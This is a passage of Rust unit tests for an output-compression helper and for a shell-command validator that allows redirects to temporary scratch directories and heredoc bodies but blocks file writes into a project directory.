996    fn generic_compress_preserves_short_output() {
997        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
998        let output = lines.join("\n");
999        let result = generic_compress(&output);
1000        assert_eq!(result, output);
1001    }
1002
1003    #[test]
1004    fn generic_compress_scales_with_length() {
1005        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
1006        let output = lines.join("\n");
1007        let result = generic_compress(&output);
1008        assert!(result.contains("truncated"));
1009        let shown_count = result.lines().count();
1010        assert!(
1011            shown_count > 10,
1012            "should show more than old 6-line limit, got {shown_count}"
1013        );
1014        assert!(shown_count < 60, "should be truncated, not full output");
1015    }
1016
1017    #[test]
1018    fn handle_preserves_search_results() {
1019        let lines: Vec<String> = (1..=30)
1020            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
1021            .collect();
1022        let output = lines.join("\n");
1023        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
1024        for i in 1..=30 {
1025            assert!(
1026                result.contains(&format!("file{i}")),
1027                "search result file{i} should be preserved in output"
1028            );
1029        }
1030    }
1031
1032    // --- GH #931: unquoted heredoc body > must not trip redirect scanner ---
1033
1034    #[test]
1035    fn unquoted_heredoc_gt_in_body_not_blocked() {
1036        let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
1037        assert!(
1038            validate_command(cmd).is_none(),
1039            "unquoted heredoc body with > must not be flagged as redirect"
1040        );
1041    }
1042
1043    #[test]
1044    fn unquoted_heredoc_append_in_body_not_blocked() {
1045        let cmd = "cat <<END\nline with >> inside\nEND";
1046        assert!(
1047            validate_command(cmd).is_none(),
1048            "unquoted heredoc body with >> must not be flagged"
1049        );
1050    }
1051
1052    // --- GH #1142: literal scratch paths outside project root ---
1053
1054    // Since #1467, Unix scratch prefixes (/tmp, /private/tmp, /var/tmp) are
1055    // recognised cross-platform — agents generate `/tmp` redirects even on
1056    // Windows (Git Bash, WSL).
1057    #[test]
1058    fn issue_1142_private_tmp_redirect_allowed() {
1059        // exact repro from the issue: capture test log under /private/tmp scratchpad
1060        assert!(
1061            validate_command(
1062                "go test ./... > /private/tmp/claude-502/scratchpad/gotest.log 2>&1; echo EXIT:$?"
1063            )
1064            .is_none()
1065        );
1066        assert!(validate_command("cargo test > /var/tmp/out.log 2>&1").is_none());
1067        assert!(validate_command("make 2>> /private/tmp/err.log").is_none());
1068        // quoted targets must be judged like unquoted ones
1069        assert!(validate_command("cargo test > \"/private/tmp/x/build.log\"").is_none());
1070    }
1071
1072    #[test]
1073    fn issue_1142_quoted_scratch_target_allowed() {
1074        // quoted targets must be judged like unquoted ones
1075        assert!(validate_command("cargo test > \"$TMPDIR/build.log\"").is_none());
1076        assert!(validate_command("cargo test > '$SCRATCH/build.log'").is_none());
1077    }
1078
1079    #[test]
1080    fn issue_1142_fd_dup_allowed() {
1081        assert!(validate_command("echo error >&2").is_none());
1082        assert!(validate_command("printf 'x' 1>&2 && git status").is_none());
1083    }
1084
1085    #[test]
1086    fn issue_1142_project_writes_still_blocked() {
1087        assert!(validate_command("cargo test > build.log").is_some());
1088        assert!(validate_command("echo x > /Users/me/project/out.txt").is_some());
1089        assert!(validate_command("echo x > \"./out.txt\"").is_some());
1090        // /tmpfoo is not a temp dir
1091        assert!(validate_command("echo x > /private/tmpfoo/out.txt").is_some());
1092    }
1093
1094    #[test]
1095    fn issue_1142_noclobber_to_scratch_allowed() {
1096        assert!(validate_command("cargo test >|/tmp/out.log").is_none());
1097        assert!(validate_command("echo x >|out.txt").is_some());
1098    }
1099
1100    #[test]
1101    fn real_redirect_after_heredoc_still_blocked() {
1102        let cmd = "cat <<EOF > output.txt\ndata\nEOF";
1103        assert!(
1104            validate_command(cmd).is_some(),
1105            "redirect OUTSIDE heredoc body must still block"
1106        );
1107    }
1108
1109    // --- GH #1467: /tmp writes must be allowed on every platform ---
1110
1111    #[test]
1112    fn issue_1467_tmp_redirect_cross_platform() {
1113        assert!(
1114            validate_command("wc -l /some/file > /tmp/result.txt").is_none(),
1115            "/tmp redirect must be allowed on every platform"
1116        );
1117        assert!(
1118            validate_command("grep pattern file.txt > /tmp/matches.log 2>&1").is_none(),
1119            "/tmp redirect with stderr merge must be allowed"
1120        );
1121        assert!(
1122            validate_command("cat large.csv > /var/tmp/subset.csv").is_none(),
1123            "/var/tmp redirect must be allowed cross-platform"
1124        );
1125    }
1126
1127    #[test]
1128    fn issue_1467_non_tmp_still_blocked() {
1129        assert!(
1130            validate_command("echo secret > /tmpfoo/leak.txt").is_some(),
1131            "/tmpfoo is not /tmp — must be blocked"
1132        );
1133    }
1134}